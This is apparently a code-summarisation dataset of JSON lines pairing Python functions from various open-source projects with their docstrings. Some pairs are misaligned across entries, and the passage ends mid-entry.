self.remembered.clear()\n if not self.pool:\n raise RuntimeError(_(\"Cannot allocate item of type: \"\n \"%(class)s from pool using file %(file)s\")\n % {'class': self.ItemClass,\n 'file': self.state_file})\n\n self.allocations[key] = self.pool.pop()\n self._write_allocations()\n return self.allocations[key]\n", "nl": "Try to allocate an item of ItemClass type.I expect this to work in all cases because I expect the pool size to belarge enough for any situation. Nonetheless, there is some defensiveprogramming in here.Since the allocations are persisted, there is the chance to leakallocations which should have been released but were not. This leakcould eventually exhaust the pool.So, if a new allocation is needed, the code first checks to see ifthere are any remembered allocations for the key. If not, it checksthe free pool. If the free pool is empty then it dumps the rememberedallocations to free the pool. This final desperate step will nothappen often in practice."} {"code": "def upload_log(blob_client, application):\n log_file = os.path.join(os.environ[\"AZ_BATCH_TASK_WORKING_DIR\"], os.environ[\"SPARK_SUBMIT_LOGS_FILE\"])\n upload_file_to_container(\n container_name=os.environ[\"STORAGE_LOGS_CONTAINER\"],\n application_name=application.name,\n file_path=log_file,\n blob_client=blob_client,\n use_full_path=False,\n )\n\n", "nl": "upload output.log to storage account"} {"code": "def giou_loss(pred, target, eps=1e-7):\n lt = torch.max(pred[:, :2], target[:, :2])\n rb = torch.min(pred[:, 2:], target[:, 2:])\n wh = (rb - lt).clamp(min=0)\n overlap = wh[:, 0] * wh[:, 1]\n\n ap = (pred[:, 2] - pred[:, 0]) * (pred[:, 3] - pred[:, 1])\n ag = (target[:, 2] - target[:, 0]) * (target[:, 3] - target[:, 1])\n union = ap + ag - overlap + eps\n\n ious = overlap / union\n\n enclose_x1y1 = torch.min(pred[:, :2], target[:, :2])\n enclose_x2y2 = torch.max(pred[:, 2:], target[:, 2:])\n enclose_wh = (enclose_x2y2 - enclose_x1y1).clamp(min=0)\n enclose_area = enclose_wh[:, 0] * enclose_wh[:, 1] + eps\n\n gious = ious - (enclose_area - union) / enclose_area\n loss = 1 - gious\n return loss\n\n\n@LOSSES.register_module()\nclass IoULoss(nn.Module):\n", "nl": "Generalized Intersection over Union: A Metric and A Loss forBounding Box Regressionhttps://arxiv.org/abs/1902.09630code refer to:https://github.com/sfzhang15/ATSS/blob/master/atss_core/modeling/rpn/atss/loss.py#L36Args:pred (Tensor): Predicted bboxes of format (x1, y1, x2, y2),shape (n, 4).target (Tensor): Corresponding gt bboxes, shape (n, 4).eps (float): Eps to avoid log(0).Return:Tensor: Loss tensor."} {"code": "def test_models_course_run_state_future_open(self):\n course_run = CourseRunFactory(\n enrollment_start=self.now - timedelta(hours=1),\n enrollment_end=self.now + timedelta(hours=1),\n start=self.now + timedelta(hours=2),\n end=self.now + timedelta(hours=3),\n )\n self.assertEqual(\n dict(course_run.state),\n {\n \"priority\": 1,\n \"text\": \"starting on\",\n \"call_to_action\": \"enroll now\",\n \"datetime\": self.now + timedelta(hours=2),\n },\n )\n", "nl": "A course run that is future and open for enrollment should return a state with a CTAto enroll and the start date."} {"code": "def setup(self):\n self.clear()\n self.coin_list.draw()\n self.player_list.draw()\n\n output = f\"Score: {self.score}\"\n arcade.draw_text(output, 10, 20, arcade.color.WHITE, 14)\n", "nl": " Set up the game and initialize the variables. # Sprite listsself.player_list = arcade.SpriteList()self.coin_list = arcade.SpriteList()# Scoreself.score = 0# Set up the player# Character image from kenney.nlself.player_sprite = arcade.Sprite(\":resources:images/animated_characters/female_person/femalePerson_idle.png\",SPRITE_SCALING_PLAYER)self.player_sprite.center_x = 50self.player_sprite.center_y = 50self.player_list.append(self.player_sprite)# Create the coinsfor i in range(COIN_COUNT):# Create the coin instance# Coin image from kenney.nlcoin = arcade.Sprite(\":resources:images/items/coinGold.png\", SPRITE_SCALING_COIN)# Position the coincoin.center_x = random.randrange(SCREEN_WIDTH)coin.center_y = random.randrange(SCREEN_HEIGHT)# Set up the initial angle, and the \"spin\"coin.angle = random.randrange(360)coin.change_angle = random.randrange(-5, 6)# Add the coin to the listsself.coin_list.append(coin)def on_draw(self): Draw everything "} {"code": "def getDescription(self, name):\n return self._trch_gettype(name)\n", "nl": "Get the description of a parameterreturn self._trch_getdescription(name)def getType(self, name):Get the type of a parameter"} {"code": "def start(self):\n pass\n", "nl": "Starts the handler (listeners, ...). Called once, after the componenthas been manipulated by all handlers."} {"code": "def output_code_run_off(self):\n Function to run when the Output is saved to evaluate the Python 3 code using pylint\n :param messages: dict of info, warning, error, success messages as well as other variables\n :param mod_output: The WTForms object containing the form data submitted by the web GUI\n :param request_form: The custom_options form input data (if it exists)\n :param custom_options_dict_presave:\n :param custom_options_channels_dict_presave:\n :param custom_options_dict_postsave:\n :param custom_options_channels_dict_postsave:\n :return: tuple of (all_passed, error, mod_input) variables\n \"\"\"", "nl": "code_off_indented = textwrap.indent(code_off, ' ' * 8)full_code += code_off_indentedassure_path_exists(PATH_PYTHON_CODE_USER)file_run = '{}/output_{}.py'.format(PATH_PYTHON_CODE_USER, unique_id)with open(file_run, 'w') as fw:fw.write('{}\\n'.format(full_code))fw.close()set_user_grp(file_run, 'mycodo', 'mycodo')return full_code, file_rundef execute_at_modification(messages,mod_output,request_form,custom_options_dict_presave,custom_options_channels_dict_presave,custom_options_dict_postsave,custom_options_channels_dict_postsave):"} {"code": "def relaying(self):\n\n @_machine.state()", "nl": "Relaying bytes to our partner"} {"code": "def get_projection_class(self, name):\n return self._all_projection_types[name]\n", "nl": "Get a projection class from its *name*."} {"code": "def test_check_public_id_consistency_positive():\n json_data = {\n \"type\": \"connection\",\n \"author\": \"author\",\n \"name\": \"name\",\n \"version\": \"1.0.0\",\n }\n assert ComponentId.from_json(json_data).json == json_data", "nl": "Test ComponentId.check_public_id_consistency works.skill_config_path = Path(DUMMY_SKILL_PATH)loader = ConfigLoaders.from_package_type(PackageType.SKILL)skill_config = loader.load(skill_config_path.open())skill_config.check_public_id_consistency(Path(skill_config_path).parent)def test_component_id_from_json():Test ComponentId.from_json."} {"code": "def _run_strip_accents(self, text):\n if never_split is not None and text in never_split:\n return [text]\n chars = list(text)\n i = 0\n start_new_word = True\n output = []\n while i < len(chars):\n char = chars[i]\n if _is_punctuation(char):\n output.append([char])\n start_new_word = True\n else:\n if start_new_word:\n output.append([])\n start_new_word = False\n output[-1].append(char)\n i += 1\n\n return [\"\".join(x) for x in output]\n", "nl": "Strips accents from a piece of text.text = unicodedata.normalize(\"NFD\", text)output = []for char in text:cat = unicodedata.category(char)if cat == \"Mn\":continueoutput.append(char)return \"\".join(output)def _run_split_on_punc(self, text, never_split=None):Splits punctuation on a piece of text."} {"code": "def forward(self, outputs, targets):\n bs, num_queries = outputs[\"pred_logits\"].shape[:2]\n\n out_prob = outputs[\"pred_logits\"].flatten(0, 1).softmax(-1)\n out_bbox = outputs[\"pred_boxes\"].flatten(0, 1)\n\n tgt_ids = torch.cat([v[\"labels\"] for v in targets])\n tgt_bbox = torch.cat([v[\"boxes\"] for v in targets])\n\n cost_class = -out_prob[:, tgt_ids]\n\n cost_bbox = torch.cdist(out_bbox, tgt_bbox, p=1)\n\n cost_giou = -generalized_box_iou(box_cxcywh_to_xyxy(out_bbox), box_cxcywh_to_xyxy(tgt_bbox))\n\n C = self.cost_bbox * cost_bbox + self.cost_class * cost_class + self.cost_giou * cost_giou\n C = C.view(bs, num_queries, -1).cpu()\n\n sizes = [len(v[\"boxes\"]) for v in targets]\n indices = [linear_sum_assignment(c[i]) for i, c in enumerate(C.split(sizes, -1))]\n return [(torch.as_tensor(i, dtype=torch.int64), torch.as_tensor(j, dtype=torch.int64)) for i, j in indices]\n\n", "nl": " Performs the matchingParams:outputs: This is a dict that contains at least these entries:\"pred_logits\": Tensor of dim [batch_size, num_queries, num_classes] with the classification logits\"pred_boxes\": Tensor of dim [batch_size, num_queries, 4] with the predicted box coordinatestargets: This is a list of targets (len(targets) = batch_size), where each target is a dict containing:\"labels\": Tensor of dim [num_target_boxes] (where num_target_boxes is the number of ground-truthobjects in the target) containing the class labels\"boxes\": Tensor of dim [num_target_boxes, 4] containing the target box coordinatesReturns:A list of size batch_size, containing tuples of (index_i, index_j) where:- index_i is the indices of the selected predictions (in order)- index_j is the indices of the corresponding selected targets (in order)For each batch element, it holds:len(index_i) = len(index_j) = min(num_queries, num_target_boxes)"} {"code": "def commit(self):\n return\n\n @wrap_exceptions", "nl": " Performs a commit"} {"code": "def __getitem__(self, key):\n item = self.resolve_or_missing(key)\n if item is missing:\n raise KeyError(key)\n return item\n", "nl": "Lookup a variable or raise `KeyError` if the variable isundefined."} {"code": "def get_search_results(self, job_id, start=0, rows=100):\n urldata = [(\"start\", start), (\"rows\", rows)]\n endpoint = f'api/investigate/v2/orgs/{self.org_key}/processes/search_jobs/{job_id}/results'\n return self.client.call_api(endpoint, 'GET', urldata=urldata, timeout=self.timeout)\n", "nl": "Return the JSON-formatted search results by sending a GET request tohttps:///api/investigate/v2/orgs/{org_key}/processes/search_jobs/{job_id}/results200: successfully fetched processes400: malformed JSON body or invalid value403: forbidden500: internal server error"} {"code": "def get_clients_report(self, clients, agent=None):\n return trio.run(self._async_get_counters, name)\n\n @usetriorun", "nl": "See :func:`burpui.misc.backend.interface.BUIbackend.get_clients_report`return trio.run(self._async_get_clients_report, clients)@usetriorundef get_counters(self, name=None, agent=None):See :func:`burpui.misc.backend.interface.BUIbackend.get_counters`"} {"code": "def get_array_prepare(*args):\n wrappers = sorted((getattr(x, '__array_priority__', 0), -i,\n x.__array_prepare__) for i, x in enumerate(args)\n if hasattr(x, '__array_prepare__'))\n if wrappers:\n return wrappers[-1][-1]\n return None\n", "nl": "Find the wrapper for the array with the highest priority.In case of ties, leftmost wins. If no wrapper is found, return None"} {"code": "def should_poll(self):\n return True\n", "nl": "Return the polling requirement of the entity.return False@propertydef entity_registry_enabled_default(self):Return if the entity should be enabled when first added to the entity registry."} {"code": "def startResponse(self, status, headers, excInfo=None):\n if self.started and excInfo is not None:\n reraise(excInfo[1], excInfo[2])\n\n if not isinstance(status, str):\n raise TypeError(\n \"status must be str, not %r (%s)\"\n % (status, type(status).__name__))\n\n if isinstance(headers, list):\n pass\n elif isinstance(headers, Sequence):\n warn(\"headers should be a list, not %r (%s)\" % (\n headers, type(headers).__name__), category=RuntimeWarning)\n else:\n raise TypeError(\n \"headers must be a list, not %r (%s)\"\n % (headers, type(headers).__name__))\n\n for header in headers:\n if isinstance(header, tuple):\n pass\n elif isinstance(header, Sequence):\n warn(\"header should be a (str, str) tuple, not %r (%s)\" % (\n header, type(header).__name__), category=RuntimeWarning)\n else:\n raise TypeError(\n \"header must be a (str, str) tuple, not %r (%s)\"\n % (header, type(header).__name__))\n\n if len(header) != 2:\n raise TypeError(\n \"header must be a (str, str) tuple, not %r\"\n % (header, ))\n\n for elem in header:\n if not isinstance(elem, str):\n raise TypeError(\n \"header must be (str, str) tuple, not %r\"\n % (header, ))\n\n self.status = status\n self.headers = headers\n return self.write\n\n", "nl": "The WSGI I{start_response} callable. The given values are saved untilthey are needed to generate the response.This will be called in a non-I/O thread."} {"code": "def test_test_client_can_override_headers(harness):\n response = harness.client.POST('/foo', HTTP_HOST=b'example.org')\n assert response.body == b'example.org'\n", "nl": "harness.fs.www.mk(('foo.spt', [---]host = request.headers[b'Host'].decode('idna')[---] text/html via stdlib_format{host}))"} {"code": "def _load_natgateways(cls):\n whitelist_entries = NetworkWhitelistEntry.query.all()\n for entry in whitelist_entries:\n add(cls.OBJECT_STORE['cidr'], entry.cidr, '000000000000')\n\n @classmethod", "nl": "Store the NAT Gateway CIDRs.results = cls._load_related_items('natgateway')for gateway in results:for address in gateway.latest_config.get('nat_gateway_addresses', []):add(cls.OBJECT_STORE['cidr'], address['public_ip'], gateway.account.identifier)add(cls.OBJECT_STORE['cidr'], address['private_ip'], gateway.account.identifier)@classmethoddef _load_network_whitelist(cls):Stores the Network Whitelist CIDRs."} {"code": "def echo_yellow(string, *args):\n echo_colour('red', string, *args)", "nl": "click.echo yellow with support for placeholders, e.g. %secho_colour('yellow', string, *args)def echo_red(string, *args):click.echo yellow with support for placeholders, e.g. %s"} {"code": "def teardown(self) -> None:\n Handle an unidentified dialogue.\n\n :param signing_msg: the message\n \"\"\"", "nl": "Implement the handler teardown.def _handle_unidentified_dialogue(self, signing_msg: SigningMessage) -> None:"} {"code": "def event_loop(self) -> None:\n\n artist = self.artist\n title = self.title\n position = self._position\n is_playing = self.is_playing\n self._refresh_metadata()\n\n if self.artist != artist or self.title != title:\n logging.info(\"New video detected\")\n self.new_song_signal.emit(self.artist, self.title, 0)\n\n if self.is_playing != is_playing:\n logging.info(\"Status change detected\")\n self.status_signal.emit(self.is_playing)\n\n playback_diff = self._position - position\n calls_diff = int((time.time() - self._event_timestamp) * 1000)\n if playback_diff >= (calls_diff + 100) or playback_diff < 0:\n logging.info(\"Position change detected\")\n self.position_signal.emit(self._position)\n\n self._event_timestamp = time.time()\n\n", "nl": "The event loop callback that checks if changes happen. This is calledperiodically within the Qt window.It checks for changes in:* The playback status (playing/paused) to change the player's too* The currently playing song: if a new song started, it's played* The position"} {"code": "def push(self, token):\n old_token = next(self)\n result = self.current\n self.push(result)\n self.current = old_token\n return result\n", "nl": "Push a token back to the stream.self._pushed.append(token)def look(self):Look at the next token."} {"code": "def isabs(s):\n result_drive, result_path = splitdrive(path)\n for p in paths:\n p_drive, p_path = splitdrive(p)\n if p_path and p_path[0] in '\\\\/':\n if p_drive or not result_drive:\n result_drive = p_drive\n result_path = p_path\n continue\n elif p_drive and p_drive != result_drive:\n if p_drive.lower() != result_drive.lower():\n result_drive = p_drive\n result_path = p_path\n continue\n result_drive = p_drive\n if result_path and result_path[-1] not in '\\\\/':\n result_path = result_path + '\\\\'\n result_path = result_path + p_path\n if (result_path and result_path[0] not in '\\\\/' and\n result_drive and result_drive[-1:] != ':'):\n return result_drive + sep + result_path\n return result_drive + result_path\n\n", "nl": "Test whether a path is absolutes = splitdrive(s)[1]return s != '' and s[:1] in '/\\\\'# Join two (or more) paths.def join(path, *paths):Join two or more pathname components, inserting \"\\\\\" as needed."} {"code": "def __init__(self, configureChannel=None):\n self._logger = g_log\n\n self._configureChannel = configureChannel\n\n self._client = None\n\n\n @property", "nl": "configureChannel: Function to call to configure channel after channel iscreated: NoneTypeconfigureChannel(amqp.synchronous_amqp_client.SynchronousAmqpClient)"} {"code": "def _find_section_type(self, section_tag, section_type):\n context_type_name = self.context_name + \"type\"\n if isinstance(section_type, list):\n for t in section_type:\n if t.startswith(context_type_name):\n section_type = t\n break\n else:\n section_type = section_type[0]\n\n if section_type and section_type.startswith(context_type_name):\n section_type = section_type.split(\"_\", maxsplit=1)[1]\n if not section_type and section_tag in self.known_section_types:\n section_type = section_tag\n if section_type not in self.known_section_types:\n section_type = config.DEFAULT_SECTION\n\n return section_type\n", "nl": "Determine a section's type.If the section type is unknown, the default type as defined in theconfig file is used.Parameters----------section_tag : strThe tag of the section.section_type : list[str]|str|boolThe declared type of the section. Use False to use the section tag.Returns-------section_type : strThe type of the section."} {"code": "def iri_to_uri(value):\n\n if not isinstance(value, str_cls):\n raise TypeError(unwrap(\n '''\n type_name(value)\n ))\n\n scheme = None\n if sys.version_info < (2, 7) and not value.startswith('http://') and not value.startswith('https://'):\n real_prefix = None\n prefix_match = re.match('^[^:]*://', value)\n if prefix_match:\n real_prefix = prefix_match.group(0)\n value = 'http://' + value[len(real_prefix):]\n parsed = urlsplit(value)\n if real_prefix:\n value = real_prefix + value[7:]\n scheme = _urlquote(real_prefix[:-3])\n else:\n parsed = urlsplit(value)\n\n if scheme is None:\n scheme = _urlquote(parsed.scheme)\n hostname = parsed.hostname\n if hostname is not None:\n hostname = hostname.encode('idna')\n username = _urlquote(parsed.username, safe='!$&\\'()*+,;=')\n password = _urlquote(parsed.password, safe='!$&\\'()*+,;=')\n port = parsed.port\n if port is not None:\n port = str_cls(port).encode('ascii')\n\n netloc = b''\n if username is not None:\n netloc += username\n if password:\n netloc += b':' + password\n netloc += b'@'\n if hostname is not None:\n netloc += hostname\n if port is not None:", "nl": "Normalizes and encodes a unicode IRI into an ASCII byte string URI:param value:A unicode string of an IRI:return:A byte string of the ASCII-encoded URI"} {"code": "def check_static(url):\n count = 0\n failures = []\n response = requests.get(url)\n if not response.ok:\n return \"\\x1B[91mFAIL! Request to {} failed ({})\".format(\n url, response.reason\n )\n static_links = extract_static_links(response.content)\n for link in static_links:\n count += 1\n if link.startswith(\"/\"):\n final_url = \"{}{}\".format(CFPB_BASE, link)\n else:\n final_url = \"{}{}\".format(url, link)\n code = requests.get(\n final_url, headers={\"referer\": CFPB_BASE}\n ).status_code\n if code == 200:\n logger.info(\"checked {}\".format(final_url))\n else:\n failures.append((link, code))\n if failures:\n if len(failures) > 2:\n return (\n \"\\x1B[91mFAIL! {} static links out of {} failed \"\n \"for {}: {}\\x1B[0m\\n\".format(\n len(failures), count, url, failures\n )\n )\n else:\n return (\n \"\\x1B[91mPartial failure: {} static links out of {} failed\"\n \" for {}: {}\\x1B[0m\\n\".format(\n len(failures), count, url, failures\n )\n )\n else:\n return \"\\x1B[32m{} static links passed \" \"for {}\\x1B[0m\\n\".format(\n count, url\n )\n\n\nif __name__ == \"__main__\":\n fail = False\n start = time.time()\n args = parser.parse_args()\n if args.verbose:\n logger.setLevel(logging.INFO)\n if args.base:\n CFPB_BASE = args.base\n base_msg = check_static(CFPB_BASE)\n if \"FAIL!\" in base_msg:\n logger.warning(base_msg)\n fail = True\n else:\n logger.info(base_msg)\n if args.sub_urls:\n for arg in args.sub_urls:\n sub_msg = check_static(\"{}{}\".format(CFPB_BASE, arg))\n if \"FAIL!\" in sub_msg:\n fail = True\n logger.warning(sub_msg)\n else:\n logger.info(sub_msg)\n logger.info(\n \"{} took {} seconds to check {}\\n\".format(\n sys.argv[0], int(time.time() - start), CFPB_BASE\n )\n )\n if fail:\n logger.warning(\n \"\\x1B[91mFAIL. Too many static links \" \"didn't return 200.\\x1B[0m\"\n )\n else:\n logger.info(\"\\x1B[32mSUCCESS! Static links return 200.\\x1B[0m\")", "nl": "Check viability of static links on cf.gov home page and sub-pages.Example call to check static assets in production:./cfgov/scripts/static_asset_smoke_test.py -v /ask-cfpb/ /owning-a-home/Example of local check of home page:./cfgov/scripts/static_asset_smoke_test.py -v --base http://localhost:8000"} {"code": "def assert_has_calls(self, calls, any_order=False):\n if not any_order:\n if calls not in self.mock_calls:\n raise AssertionError(\n 'Calls not found.\\nExpected: %r\\n'\n 'Actual: %r' % (calls, self.mock_calls)\n )\n return\n\n all_calls = list(self.mock_calls)\n\n not_found = []\n for kall in calls:\n try:\n all_calls.remove(kall)\n except ValueError:\n not_found.append(kall)\n if not_found:\n raise AssertionError(\n '%r not all found in call list' % (tuple(not_found),)\n )\n\n", "nl": "assert the mock has been called with the specified calls.The `mock_calls` list is checked for the calls.If `any_order` is False (the default) then the calls must besequential. There can be extra calls before or after thespecified calls.If `any_order` is True then the calls can be in any order, butthey must all appear in `mock_calls`."} {"code": "def pytest_leave_pdb(config, pdb):", "nl": " called when leaving pdb (e.g. with continue after pdb.set_trace()).Can be used by plugins to take special action just after the pythondebugger leaves interactive mode.:param _pytest.config.Config config: pytest config object:param pdb.Pdb pdb: Pdb instance"} {"code": "def _handle_add_event(self, event):\n if self._should_ignore_add_event(event):\n return\n\n device = self.get_device_by_name(udev.device_get_name(event.info), hidden=True)\n if device is None:\n device = self.get_device_by_uuid(event.info.get(\"UUID_SUB\", udev.device_get_uuid(event.info)),\n hidden=True)\n if device is None and udev.device_is_dm_luks(event.info):\n self.handle_device(event.info)\n device = self.get_device_by_name(udev.device_get_name(event.info), hidden=True)\n\n if device is None and self._event_device_is_physical_disk(event):\n log.info(\"disk %s was added\", udev.device_get_name(event.info))\n mpath_members.update_cache(udev.device_get_devname(event.info))\n self.handle_device(event.info)\n elif device is not None and device.exists:\n log.info(\"device %s was activated\", device.name)\n sysfs_path = udev.device_get_sysfs_path(event.info)\n if device.sysfs_path != sysfs_path:\n old_sysfs_path = device.sysfs_path\n device.sysfs_path = sysfs_path\n callbacks.attribute_changed(device=device, attr=\"sysfs_path\",\n old=old_sysfs_path, new=sysfs_path)\n", "nl": " Handle an \"add\" event.Add events should correlate to activation rather than creation inmost cases. When a device is added, there is generally a changeevent on the new device's parent(s). The obvious exception to thisrule is the addition of a new disk, which has no parents."} {"code": "def local_tensor_scalar_tensor(node):\n if isinstance(node.op, T.ScalarFromTensor):\n t = node.inputs[0]\n if t.owner and isinstance(t.owner.op, T.TensorFromScalar):\n s = t.owner.inputs[0]\n\n return [s]\n\n\n\nclass MakeVector(T.Op):\n \"\"\"Concatenate a number of scalars together into a vector.\n\n __props__ = (\"dtype\",)\n", "nl": "tensor_from_scalar(scalar_from_tensor(x)) -> xif isinstance(node.op, T.TensorFromScalar):s = node.inputs[0]if s.owner and isinstance(s.owner.op, T.ScalarFromTensor):t = s.owner.inputs[0]# We don't need to copy over any stack traces herereturn [t]@register_canonicalize@register_specialize@gof.local_optimizer([T.ScalarFromTensor])def local_scalar_tensor_scalar(node):scalar_from_tensor(tensor_from_scalar(x)) -> x"} {"code": "def test_shadowing_assign_tuple_1(self):\n self.warns_unchanged(s, \"Calls to builtin next() possibly shadowed\")\n", "nl": "s = (next, a) = fooclass A:def next(self, a, b):pass"} {"code": "def insert(self, uri, contentValues):\n\n client = self.__get_client(uri)\n\n return_val = None\n try:\n return_val = client.insert(self.parseUri(uri), contentValues)\n except ReflectionException as e:\n if e.message.startswith(\"Unknown Exception\"):\n raise ReflectionException(\"Could not insert into %s.\" % uri)\n else:\n raise\n finally:\n self.__release(client)\n\n return return_val\n", "nl": "Insert contentValues into a content provider."} {"code": "def unify_walk(ov, o, U):\n if o in ov.options:\n v = BoundVariable(\"?\", o)\n return U.merge(v, ov)\n else:\n return False\n\n\n@comm_guard(NotVariable, ANY_TYPE)", "nl": "The unification succeeds iff other_object in OrV.options."} {"code": "def _get_mask(self):\n return self._mask\n\n mask = property(fget=_get_mask, fset=__setmask__, doc=\"Mask\")\n", "nl": "Return the current mask."} {"code": "def test_batching_error(self, meng, prog):\n prog = sf.Program(2)\n with prog.context as q:\n ops.MeasureFock(select=0) | q[0]\n\n with pytest.raises(\n NotImplementedError, match=\"Post-selection cannot be used together with multiple shots.\"\n ):\n meng.run(prog, **{\"shots\": 2})\n\n @pytest.mark.parametrize(\"meng\", engines)", "nl": "Check that correct error is raised with batching and shots > 1.with pytest.raises(NotImplementedError, match=\"Batching cannot be used together with multiple shots.\"):meng.run(prog, **{\"shots\": 2})@pytest.mark.parametrize(\"meng\", engines)def test_postselection_error(self, meng):Check that correct error is raised with post-selection and shots > 1."} {"code": "def __init__(self, sketchpad, string):\n", "nl": "desc:Constructor.arguments:sketchpad:\t\tA sketchpad object.string:\t\t\tA definition string."} {"code": "def recursive_copy(src_dir, dest_dir):\n\n file_io.recursive_create_dir(dest_dir)\n for file_name in file_io.list_directory(src_dir):\n old_path = os.path.join(src_dir, file_name)\n new_path = os.path.join(dest_dir, file_name)\n\n if file_io.is_directory(old_path):\n recursive_copy(old_path, new_path)\n else:\n file_io.copy(old_path, new_path, overwrite=True)\n\n", "nl": "Copy the contents of src_dir into the folder dest_dir.Args:src_dir: gsc or local path.dest_dir: gcs or local path."} {"code": "def evaluate(self):\n tic = time.time()\n print('Running per image evaluation...')\n p = self.params\n if not p.useSegm is None:\n p.iouType = 'segm' if p.useSegm == 1 else 'bbox'\n print('useSegm (deprecated) is not None. Running {} evaluation'.format(p.iouType))\n print('Evaluate annotation type *{}*'.format(p.iouType))\n p.imgIds = list(np.unique(p.imgIds))\n if p.useCats:\n p.catIds = list(np.unique(p.catIds))\n p.maxDets = sorted(p.maxDets)\n self.params=p\n\n self._prepare()\n catIds = p.catIds if p.useCats else [-1]\n\n if p.iouType == 'segm' or p.iouType == 'bbox':\n computeIoU = self.computeIoU\n elif p.iouType == 'keypoints':\n computeIoU = self.computeOks\n self.ious = {(imgId, catId): computeIoU(imgId, catId) \\\n for imgId in p.imgIds\n for catId in catIds}\n\n evaluateImg = self.evaluateImg\n maxDet = p.maxDets[-1]\n self.evalImgs = [evaluateImg(imgId, catId, areaRng, maxDet)\n for catId in catIds\n for areaRng in p.areaRng\n for imgId in p.imgIds\n ]\n self._paramsEval = copy.deepcopy(self.params)\n toc = time.time()\n print('DONE (t={:0.2f}s).'.format(toc-tic))\n", "nl": "Run per image evaluation on given images and store results (a list of dict) in self.evalImgs:return: None"} {"code": "def create_pipeline(self, pipeline: Pipeline) -> Pipeline:\n\n @abstractmethod", "nl": "Creates model in the repository:param pipeline: pipeline to create:return: created pipeline:exception: :exc:`.errors.ExistingPipelineError` if given model has the same name and task as existing one"} {"code": "def update_package():\n import shutil\n\n try:\n download_dir = os.path.join(os.path.expanduser(\"~\"), \"Downloads\")\n if not os.path.exists(download_dir):\n os.makedirs(download_dir)\n clone_repo(out_dir=download_dir)\n\n pkg_dir = os.path.join(download_dir, \"lidar-master\")\n work_dir = os.getcwd()\n os.chdir(pkg_dir)\n\n if shutil.which(\"pip\") is None:\n cmd = \"pip3 install .\"\n else:\n cmd = \"pip install .\"\n\n os.system(cmd)\n os.chdir(work_dir)\n\n print(\n \"\\nPlease comment out 'lidar.update_package()' and restart the kernel to take effect:\\nJupyter menu -> Kernel -> Restart & Clear Output\"\n )\n\n except Exception as e:\n raise Exception(e)\n\n", "nl": "Updates the lidar package from the lidar GitHub repository without the need to use pip or conda.In this way, I don't have to keep updating pypi and conda-forge with every minor update of the package."} {"code": "def wrapper(self, *args, **kwargs):\n", "nl": "Wrapper.if response_content_type == JSON:self.is_json = Trueextend_request(request, request.args)response = make_response(func(self, *args, **kwargs))if response_content_type == JSON:response.headers['Content-Type'] = 'application/json'elif response_content_type == TEXT:response.headers['Content-Type'] = 'text/plain'elif response_content_type == HTML:# Don't enforce content security policies in local development mode.if not environment.is_running_on_app_engine_development():response.headers['Content-Security-Policy'] = csp.get_default()return responsereturn wrapperreturn decoratordef require_csrf_token(func):Wrap a handler to require a valid CSRF token."} {"code": "def test_dump_collection(self):\n\n self.opman.oplog = self.primary_conn[\"test\"][\"emptycollection\"]\n last_ts = self.opman.dump_collection()\n self.assertEqual(last_ts, None)\n\n self.opman.oplog = self.primary_conn[\"local\"][\"oplog.rs\"]\n for i in range(10):\n fs = gridfs.GridFS(self.primary_conn[\"gridfs\"], collection=\"test\" + str(i))\n fs.put(b\"hello world\")\n for i in range(1000):\n self.primary_conn[\"test\"][\"test\"].insert_one({\"i\": i + 500})\n last_ts = self.opman.get_last_oplog_timestamp()\n self.assertEqual(last_ts, self.opman.dump_collection())\n self.assertEqual(len(self.opman.doc_managers[0]._search()), 1010)\n\n repl_set = ReplicaSetSingle(oplogSize=1).start()\n conn = repl_set.client()\n opman = OplogThread(\n primary_client=conn,\n doc_managers=(DocManager(),),\n oplog_progress_dict=LockingDict(),\n namespace_config=NamespaceConfig(namespace_set=[\"test.test\"]),\n )\n conn[\"test\"][\"test\"].insert_one({\"test\": 1})\n while conn[\"local\"][\"oplog.rs\"].find_one({\"ns\": \"test.test\"}):\n conn[\"test\"][\"ignored\"].insert_many(\n [{\"test\": \"1\" * 1024} for _ in range(1024)]\n )\n last_ts = opman.get_last_oplog_timestamp()\n self.assertEqual(last_ts, opman.dump_collection())\n self.assertEqual(len(opman.doc_managers[0]._search()), 1)\n conn.close()\n repl_set.stop()\n", "nl": "Test the dump_collection methodCases:1. empty oplog2. non-empty oplog, with gridfs collections3. non-empty oplog, specified a namespace-set, none of the oplogentries are for collections in the namespace-set"} {"code": "def run():\n\n args = create_cli_parser().parse_args()\n\n if args.cmd is not None:\n if args.cmd == 'genicon':\n return run_cli(args)\n\n if is_port_inuse(23333):\n return run_cli(args)\n\n return run_app(args)", "nl": "feeluown entry point."} {"code": "def populate_step(registry):\n\n", "nl": " Populate data step.:param registry: Pyramid :py:class:`pyramid.registry.Registry` object"} {"code": "def normalizeURIPath(path):\n ret = libxml2mod.xmlNormalizeURIPath(path)\n return ret\n", "nl": "Applies the 5 normalization steps to a path string--thatis, RFC 2396 Section 5.2, steps 6.c through 6.g.Normalization occurs directly on the string, no newallocation is done "} {"code": "def call(self, inputs, training, features_only=None):\n outputs = None\n self.endpoints = {}\n reduction_idx = 0\n\n outputs = self._stem(inputs, training)\n logging.info(\"Built stem: %s (%s)\", outputs.shape, outputs.dtype)\n self.endpoints[\"stem\"] = outputs\n\n for idx, block in enumerate(self._blocks):\n is_reduction = False\n if (idx == len(self._blocks) - 1) or self._blocks[\n idx + 1\n ].block_args.strides > 1:\n is_reduction = True\n reduction_idx += 1\n\n survival_prob = self._mconfig.survival_prob\n if survival_prob:\n drop_rate = 1.0 - survival_prob\n survival_prob = 1.0 - drop_rate * float(idx) / len(self._blocks)\n logging.info(\"block_%s survival_prob: %s\", idx, survival_prob)\n outputs = block(outputs, training=training, survival_prob=survival_prob)\n self.endpoints[\"block_%s\" % idx] = outputs\n if is_reduction:\n self.endpoints[\"reduction_%s\" % reduction_idx] = outputs\n if block.endpoints:\n for k, v in six.iteritems(block.endpoints):\n self.endpoints[\"block_%s/%s\" % (idx, k)] = v\n if is_reduction:\n self.endpoints[\"reduction_%s/%s\" % (reduction_idx, k)] = v\n self.endpoints[\"features\"] = outputs\n\n if not features_only:\n outputs = self._head(outputs, training)\n self.endpoints.update(self._head.endpoints)\n\n return [outputs] + list(\n filter(\n lambda endpoint: endpoint is not None,\n [\n self.endpoints.get(\"reduction_1\"),\n self.endpoints.get(\"reduction_2\"),\n self.endpoints.get(\"reduction_3\"),\n self.endpoints.get(\"reduction_4\"),\n self.endpoints.get(\"reduction_5\"),\n ],\n )\n )", "nl": "Implementation of call().Args:inputs: input tensors.training: boolean, whether the model is constructed for training.features_only: build the base feature network only.Returns:output tensors."} {"code": "def ious(atlbrs, btlbrs):\n ious = 